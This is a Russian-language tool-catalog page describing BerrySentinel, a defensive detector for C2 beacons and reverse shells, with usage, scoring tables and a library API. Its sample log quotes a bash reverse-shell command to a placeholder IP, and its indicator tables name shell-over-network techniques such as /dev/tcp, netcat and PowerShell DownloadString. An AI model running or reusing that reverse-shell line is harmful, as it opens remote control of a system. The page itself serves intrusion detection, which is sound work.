Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
BerrySentinel — Berry Sentinel v5.0 — продвинутый поведенческий детектор C2 и reverse shell для систем Linux/Windows/Unix. Возможности: анализ соединений в реальном времени, эвристическая оценка, обнаружение сигнатур C2-фреймворков, анализ интервалов beacon-сигналов и интерактивный TUI на основе curses с механизмом завершения процессов. | Kitploit
Инструменты/GitHubGitHub/dereeqw/berrysentinel
Оборонительные ИнструментыСетевая безопасностьАнализ вредоносных программТестирование на ПроникновениеКомандование и УправлениеРазведка угрозОбнаружение ВторженийRed TeamingРеагирование на ИнцидентыОбнаружение АномалийАнализ Журналов
135 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
dereeqw/berrysentinel

BerrySentinel

Репозиторий

Описание

Berry Sentinel v5.0 — продвинутый поведенческий детектор C2 и reverse shell для систем Linux/Windows/Unix. Возможности: анализ соединений в реальном времени, эвристическая оценка, обнаружение сигнатур C2-фреймворков, анализ интервалов beacon-сигналов и интерактивный TUI на основе curses с механизмом завершения процессов.

Поделиться

🫐 Berry Sentinel

Детектор поведения C2-соединений (Command & Control) в реальном времени

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


Что это такое?

Berry Sentinel отслеживает все активные сетевые подключения в вашей системе и анализирует поведение процессов, которые их создают, для обнаружения вредоносной активности — без использования баз сигнатур антивируса или списков заблокированных IP-адресов.

Обнаруживает reverse shells, webshells, RAT, C2-beacons и фреймворки, такие как Meterpreter, Cobalt Strike, Sliver или Empire, наблюдая за тем, как ведёт себя процесс: если интерпретатор Python имеет stdin, подключённый к удалённому сокету, это подозрительно, даже если IP-адрес неизвестен.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Детектор поведения C2 · TUI Интерактивный                                 ║
║  Соединений: 38 │ Угроз: 2 │ Сигнатур: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    УДАЛЁННЫЙ            СОСТОЯНИЕ  СИГНАТУРЫ/ТЕГИ                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █КРИТИЧЕСКИ  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ВЫСОКИЙ     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

Особенности

  • TUI интерактивный с curses: навигация ↑↓, детали соединения, встроенный Kill Engine
  • Чисто поведенческий анализ: без сигнатур AV, без чёрных списков IP
  • Обнаружение beacon: выявляет C2-соединения по их регулярным интервалам (Cobalt Strike ~60s, Empire ~5s, и т.д.)
  • 14+ распознаваемых C2-фреймворков: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • Deep scan (с root): анализирует память процесса, области RWX, переменные окружения, удалённые с диска исполняемые файлы
  • Bulletproof collection: использует 5 методов сбора параллельно (/proc/net, ss, netstat, psutil, lsof) с автоматической дедупликацией
  • Кроссплатформенность: Linux, macOS, Windows, Android/Termux
  • Экспорт в JSON и лог: оповещения в формате JSONL, совместимом с jq, ELK, Splunk
  • Белый список: игнорировать доверенные IP-адреса или сети по CIDR
  • Ноль зависимостей в базовом режиме (только stdlib); psutil опционально для дополнительного покрытия

Установка

root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Опционально, но рекомендуется) установить psutil
pip install psutil

# Запуск
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses может быть недоступен в Termux

Без установки (one-liner)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

Использование

root@kitploit:~
python3 BerrySentinel.py [опции]

Опции:
  --all, -a           Включить локальные/loopback-соединения (помимо удалённых)
  --interval N, -i N  Обновление каждые N секунд (по умолч.: 2, мин.: 0.5)
  --log FILE, -l FILE Сохранять оповещения в файл (формат JSONL)
  --json, -j          Экспортировать полный JSON при выходе
  --whitelist LIST    IP-адреса или CIDR для игнорирования, через запятую
  --no-color          Без ANSI-цветов (полезно для пайпов или логов)
  --verbose, -v       Показывать все соединения, не только подозрительные
  --top N, -t N       Максимум строк в таблице (по умолч.: 50)
  --diag, -d          Диагностика: показывает, какие методы сбора работают
  --no-tui            Устаревший режим без curses (классический скролл, более портативный)
  --version, -V       Показать версию и выйти

Примеры

root@kitploit:~
# TUI интерактивный — рекомендуемый режим
python3 BerrySentinel.py

# Deep scan с root (доступ к памяти процессов)
sudo python3 BerrySentinel.py --all

# Сохранять оповещения и экспортировать JSON по завершении
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# Игнорировать внутреннюю сеть и обновлять каждые 5 секунд
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# Текстовый режим для использования в скриптах или по SSH без интерактивного терминала
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# Посмотреть, какие методы сбора работают в текущей системе
python3 BerrySentinel.py --diag --no-tui

# Только серьёзные оповещения, обновление каждые 10 секунд, сохранить лог
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

Клавиши TUI (интерактивный режим)


Система оценки

Каждое соединение получает оценку от 0 до 100 на основе обнаруженных индикаторов:

Серьёзность в зависимости от оценки:


Обнаруживаемые C2-фреймворки

Berry Sentinel включает сигнатуры для следующих фреймворков (оценка по портам, имени процесса, командной строке и паттернам beacon):


Формат лога (JSONL)

Каждое оповещение записывается как отдельная строка JSON:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

Обработка с помощью jq:

root@kitploit:~
# Отфильтровать только критические соединения
jq 'select(.sev == "CRÍTICO")' sentinel.log

# Показать все подозрительные PID
jq '[.pid] | unique' sentinel_export.json

# Поиск по конкретной сигнатуре
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

Архитектура

root@kitploit:~
BerrySentinel.py
├── Глобальные константы
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Имена оболочек и интерпретаторов
│   ├── C2_SUSPECT_PORTS            — Типичные C2-порты
│   ├── PRIVATE_NETS                — Диапазоны частных IP
│   └── C2_SIGNATURES               — Сигнатуры известных фреймворков
│
├── Модели данных
│   ├── C2Signature   — Определение C2-сигнатуры
│   ├── ProcInfo      — Информация о процессе ОС
│   ├── Conn          — Сетевое подключение + результат анализа
│   └── BeaconTracker — Детектор C2-beacon
│
├── Сбор данных
│   ├── Collector     — Оркестрация нескольких сетевых источников
│   ├── parse_proc_net_content() — Парсер /proc/net/*
│   ├── build_inode_pid_map()    — Карта inode→PID
│   ├── get_proc_info()          — Информация о процессе через /proc
│   └── get_proc_info_psutil()   — Информация о процессе через psutil
│
├── Анализ
│   ├── Engine.analyze()    — Оценка + поведенческие теги
│   ├── Engine._beacon()    — Обнаружение beacon
│   └── match_signatures()  — Сопоставление с C2-сигнатурами
│
├── Вывод
│   ├── CursesTUI   — TUI интерактивный (режим по умолчанию)
│   ├── LegacyTUI   — ANSI-вывод без curses (запасной)
│   └── Logger      — Лог JSONL на диск
│
└── Sentinel        — Главный оркестратор

Требования

  • Python 3.8+
  • psutil — опционально, но настоятельно рекомендуется (pip install psutil)

Без дополнительных зависимостей инструмент работает со стандартной библиотекой Python. psutil добавляет покрытие на macOS и Windows, где /proc отсутствует.


Платформы


Кастомизация

Добавление собственной C2-сигнатуры

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

my_rat = C2Signature(
    name="MyRAT",
    description="Неавторизованный внутренний корпоративный RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"my_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^my_rat$"},
    ],
)
C2_SIGNATURES.append(my_rat)

Использование в качестве библиотеки в скрипте

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[ОПОВЕЩЕНИЕ] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

Пользовательский движок анализа

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MyEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # Добавить собственную логику
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

Предупреждение об ответственном использовании

Berry Sentinel предназначен для мониторинга вашей собственной системы или систем, на которые у вас есть явное разрешение. Kill Engine действует только по явному запросу пользователя. Используйте его ответственно и в соответствии с действующим законодательством вашей юрисдикции.


Лицензия

MIT — см. LICENSE

Скачать инструмент
КлавишаДействие
↑ / ↓Навигация между соединениями
d / DПоказать панель деталей выбранного соединения
k / KЗавершить процесс (запрашивает подтверждение PID)
f / FЦиклическое переключение фильтра серьёзности: ВСЕ → СРЕДНИЙ → ВЫСОКИЙ → КРИТИЧЕСКИЙ
rПринудительное немедленное обновление
ESCЗакрыть панель деталей или отменить операцию
qВыход
ИндикаторБаллыТег
stdin/stdout → socket+55FD→SOCK
Двоичный файл оболочки с удалённым подключением+40SHELL→NET
Webshell (оболочка как дочерний процесс Apache/Nginx)+35WEBSHELL
Bind shell на высоком порту+35BIND-SHELL
Использование netcat/socat+35NETCAT
Перенаправление /dev/tcp или mkfifo+40PIPE-REDIR
Исполняемый файл удалён с диска+25EXE-DEL!
Исполняемый файл в /tmp или /dev/shm+15EXE-TMP
Обнаружен beacon (циклическое подключение)+25×confBCN(60s)
Сигнатура Meterpreter+55SIG:Meterpreter
Сигнатура Cobalt Strike+60SIG:CobaltStrike
Сигнатура Sliver+58SIG:Sliver
Области памяти RWX+20RWX(N)
LD_PRELOAD или HISTFILE=/dev/null+10ENV:LD_PRELOAD
Интерпретатор скриптов, подключённый к сети+25INTERP→NET
eval/exec в командной строке+18EVAL
Удалённый PowerShell (IEX, DownloadString)+30PS-REM
ОценкаСерьёзностьЦвет
≥ 65КРИТИЧЕСКИЙ🔴 Ярко-красный
≥ 45ВЫСОКИЙ🟠 Оранжевый
≥ 25СРЕДНИЙ🟡 Жёлтый
≥ 8НИЗКИЙ🔵 Голубой
< 8ИНФО⚪ Серый
ФреймворкБонусные баллыКлючевые индикаторы
Meterpreter+55Порт 4444, процесс ruby/msfconsole
Cobalt Strike+60Порт 50050, beacon ~60s, процесс java
Sliver+58Порт 31337/8888, beacon ~60s
Empire+55Порт 1234/7777, PowerShell -enc
Brute Ratel+62Порт 2083, процесс badger
Havoc+58Порт 40056, demon.x64/x86
Pupy RAT+52Порт 9999, pupy.py
Merlin+54Порт 8443, merlin-agent
Covenant+54Порт 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56Порт 7443, poseidon/apfell
QuasarRAT+50Порт 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40Порт 53, dnscat/iodine
СистемаПоддержкаПримечания
Linux✅ ПолнаяС root активируется deep scan
Android/Termux✅ ПолнаяИспользуйте --no-tui, если curses не работает
macOS⚠️ ЧастичнаяБез /proc; использует netstat+psutil
Windows⚠️ Частичнаяnetstat+psutil, без анализа памяти